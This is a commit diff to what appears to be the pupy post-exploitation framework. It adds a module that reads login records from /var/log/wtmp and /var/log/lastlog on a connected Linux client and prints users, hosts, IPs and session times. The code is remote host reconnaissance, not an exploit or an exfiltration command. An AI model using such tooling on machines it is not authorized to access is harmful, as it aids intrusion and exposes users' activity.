mirror of https://github.com/n1nj4sec/pupy.git
Add last command
This commit is contained in:
parent
bdf556fb31
commit
c88b5a20e8
|
@ -0,0 +1,99 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
from pupylib.PupyCmd import PupyCmd
|
||||
from pupylib.utils.rpyc_utils import obtain
|
||||
from pupylib.utils.term import colorize
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
import logging
|
||||
|
||||
__class_name__="LastModule"
|
||||
|
||||
@config(cat='admin', compat=['linux'])
|
||||
class LastModule(PupyModule):
|
||||
""" list terminal sessions """
|
||||
|
||||
dependencies = [ 'pupyps' ]
|
||||
is_module=False
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="last", description=self.__doc__)
|
||||
duration = self.arg_parser.add_mutually_exclusive_group()
|
||||
duration.add_argument('-n', '--lines', type=int, help='Get only (n) last records')
|
||||
duration.add_argument('-d', '--days', type=int, help='Get only records for last (n) days')
|
||||
filtering = self.arg_parser.add_mutually_exclusive_group()
|
||||
filtering.add_argument('-x', '--exclude', nargs='+', help='Hide users/hosts/ips')
|
||||
filtering.add_argument('-i', '--include', nargs='+', help='Show users/hosts/ips')
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
data = obtain(self.client.conn.modules.pupyps.wtmp())
|
||||
tablein = []
|
||||
|
||||
now = data['now']
|
||||
output = []
|
||||
|
||||
for record in data['records']:
|
||||
if args.days and ( record['start'] + args.days*24*60*60 < now):
|
||||
break
|
||||
|
||||
if args.exclude and any([x in args.exclude for x in record.itervalues()]):
|
||||
continue
|
||||
|
||||
if args.include and not any([x in args.include for x in record.itervalues()]):
|
||||
continue
|
||||
|
||||
if record['type'] not in ('boot', 'process'):
|
||||
continue
|
||||
|
||||
color = ''
|
||||
if record['end'] == -1:
|
||||
if record['user'] == 'root':
|
||||
color = 'lightred'
|
||||
elif record['duration'] < 24*60*60:
|
||||
color = 'lightgreen'
|
||||
elif record['duration'] > 7*24*60*60:
|
||||
color = 'cyan'
|
||||
elif record['user'] == 'root':
|
||||
color = 'yellow'
|
||||
elif record['ip'] != '0.0.0.0':
|
||||
color = 'cyan'
|
||||
elif record['end'] > 24*60*60:
|
||||
color = 'grey'
|
||||
elif record['end'] > 7*24*60*60:
|
||||
color = 'darkgrey'
|
||||
|
||||
if record['type'] == 'boot':
|
||||
color = 'yellow'
|
||||
|
||||
record['start'] = datetime.fromtimestamp(record['start'])
|
||||
record['end'] = datetime.fromtimestamp(
|
||||
record['end']
|
||||
) if record['end'] != -1 else 'logged in'
|
||||
record['duration'] = timedelta(seconds=int(record['duration']))
|
||||
record['ip'] = '' if record['ip'] == '0.0.0.0' else record['ip']
|
||||
|
||||
if record['type'] == 'boot' and record['end'] == 'logged in':
|
||||
record['end'] = 'up'
|
||||
|
||||
for f in record:
|
||||
record[f] = colorize('{}'.format(record[f]), color)
|
||||
|
||||
output.append(record)
|
||||
|
||||
if args.lines and len(output) >= args.lines:
|
||||
break
|
||||
|
||||
|
||||
columns = [
|
||||
x for x in [
|
||||
'user', 'line', 'pid' ,'host', 'ip', 'start', 'end', 'duration'
|
||||
] if any([ bool(y[x]) for y in output ])
|
||||
]
|
||||
|
||||
self.stdout.write(
|
||||
PupyCmd.table_format(output, wl=columns)
|
||||
)
|
||||
|
||||
except Exception, e:
|
||||
logging.exception(e)
|
|
@ -7,6 +7,10 @@ import sys
|
|||
import os
|
||||
import time
|
||||
import socket
|
||||
import pwd
|
||||
import struct
|
||||
import netaddr
|
||||
import time
|
||||
|
||||
families = {
|
||||
v:k[3:] for k,v in socket.__dict__.iteritems() if k.startswith('AF_')
|
||||
|
@ -187,5 +191,137 @@ def interfaces():
|
|||
}
|
||||
}
|
||||
|
||||
def cstring(string):
|
||||
return string[:string.find('\x00')]
|
||||
|
||||
def convrecord(item):
|
||||
return item if type(item) in (int,long) else cstring(item)
|
||||
|
||||
def wtmp(input='/var/log/wtmp'):
|
||||
retval = []
|
||||
WTmp = struct.Struct('hi32s4s32s256shhiii4I20s')
|
||||
|
||||
login_type = {
|
||||
0: None,
|
||||
1: 'runlevel',
|
||||
2: 'boot',
|
||||
3: 'time_new',
|
||||
4: 'time_old',
|
||||
5: 'init',
|
||||
6: 'session',
|
||||
7: 'process',
|
||||
8: 'terminated',
|
||||
9: 'accounting',
|
||||
}
|
||||
|
||||
now = time.time()
|
||||
|
||||
with open('/var/log/wtmp') as wtmp:
|
||||
while True:
|
||||
data = wtmp.read(WTmp.size)
|
||||
if not data or len(data) != WTmp.size:
|
||||
break
|
||||
|
||||
items = [ convrecord(x) for x in WTmp.unpack(data) ]
|
||||
itype = login_type[items[0]]
|
||||
if not itype:
|
||||
continue
|
||||
|
||||
if itype in ('runlevel', 'terminated'):
|
||||
for record in retval:
|
||||
if record['end'] == -1:
|
||||
if itype == 'runlevel' and items[4] == 'shutdown':
|
||||
record['end'] = items[9]
|
||||
record['duration'] = record['end'] - record['start']
|
||||
elif itype == 'terminated':
|
||||
if items[1] == 0:
|
||||
if record['line'] == items[2]:
|
||||
record['end'] = items[9]
|
||||
record['duration'] = record['end'] - record['start']
|
||||
break
|
||||
else:
|
||||
if record['type'] in ('session', 'process') and record['pid'] == items[1]:
|
||||
record['end'] = items[9]
|
||||
record['duration'] = record['end'] - record['start']
|
||||
record['termination'] = items[6]
|
||||
record['exit'] = items[7]
|
||||
break
|
||||
|
||||
if record['type'] == 'runlevel' and record['user'] == 'shutdown':
|
||||
break
|
||||
|
||||
ipbin = items[11:15]
|
||||
if all([x==0 for x in ipbin[1:]]):
|
||||
ipaddr = str(netaddr.IPAddress(socket.htonl(ipbin[0])))
|
||||
else:
|
||||
data = struct.pack('IIII', *ipbin).encode('hex')
|
||||
ipaddr = ''
|
||||
while data is not '':
|
||||
ipaddr = ipaddr + ':'
|
||||
ipaddr = ipaddr + data[:4]
|
||||
data = data[4:]
|
||||
ipaddr = str(netaddr.IPAddress(ipaddr[1:]))
|
||||
|
||||
retval.insert(0, {
|
||||
'type': itype,
|
||||
'pid': items[1],
|
||||
'line': items[2],
|
||||
'id': items[3],
|
||||
'user': items[4],
|
||||
'host': items[5],
|
||||
'termination': items[6],
|
||||
'exit': items[7],
|
||||
'session': items[8],
|
||||
'start': items[9],
|
||||
'ip': ipaddr,
|
||||
'end': -1,
|
||||
'duration': now - items[9]
|
||||
})
|
||||
|
||||
return {
|
||||
'now': now,
|
||||
'records': retval
|
||||
}
|
||||
|
||||
def lastlog():
|
||||
result = {}
|
||||
LastLog = struct.Struct('I32s256s')
|
||||
|
||||
with open('/var/log/lastlog') as lastlog:
|
||||
uid = 0
|
||||
while True:
|
||||
data = lastlog.read(LastLog.size)
|
||||
if not data or len(data) != LastLog.size:
|
||||
break
|
||||
|
||||
time, line, host = LastLog.unpack(data)
|
||||
line = cstring(line)
|
||||
host = cstring(host)
|
||||
if time:
|
||||
try:
|
||||
name = pwd.getpwuid(uid).pw_name
|
||||
except:
|
||||
name = uid
|
||||
|
||||
result[name] = {
|
||||
'time': time,
|
||||
'line': line,
|
||||
'host': host,
|
||||
}
|
||||
uid += 1
|
||||
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
print psinfo([os.getpid()])[os.getpid()].keys()
|
||||
import datetime
|
||||
for result in wtmp():
|
||||
if result['type'] in ('process', 'boot'):
|
||||
print '{:12s} {:5d} {:7} {:8s} {:8s} {:16s} {:3} {:3} {} - {}'.format(
|
||||
result['type'],
|
||||
result['pid'],
|
||||
result['id'],
|
||||
result['user'], result['line'], result['host'],
|
||||
result['termination'], result['exit'],
|
||||
datetime.datetime.fromtimestamp(result['start']),
|
||||
datetime.datetime.fromtimestamp(result['end']) if result['end'] != -1 else 'logged in',
|
||||
)
|
||||
|
|
|
@ -81,8 +81,12 @@ def colorize(s, color):
|
|||
res="\033[34m"+s+COLOR_STOP
|
||||
elif color.lower()=="red":
|
||||
res="\033[31m"+s+COLOR_STOP
|
||||
elif color.lower()=="lightred":
|
||||
res="\033[31;1m"+s+COLOR_STOP
|
||||
elif color.lower()=="green":
|
||||
res="\033[32m"+s+COLOR_STOP
|
||||
elif color.lower()=="lightgreen":
|
||||
res="\033[32;1m"+s+COLOR_STOP
|
||||
elif color.lower()=="yellow":
|
||||
res="\033[33m"+s+COLOR_STOP
|
||||
elif color.lower()=="magenta":
|
||||
|
|
Loading…
Reference in New Issue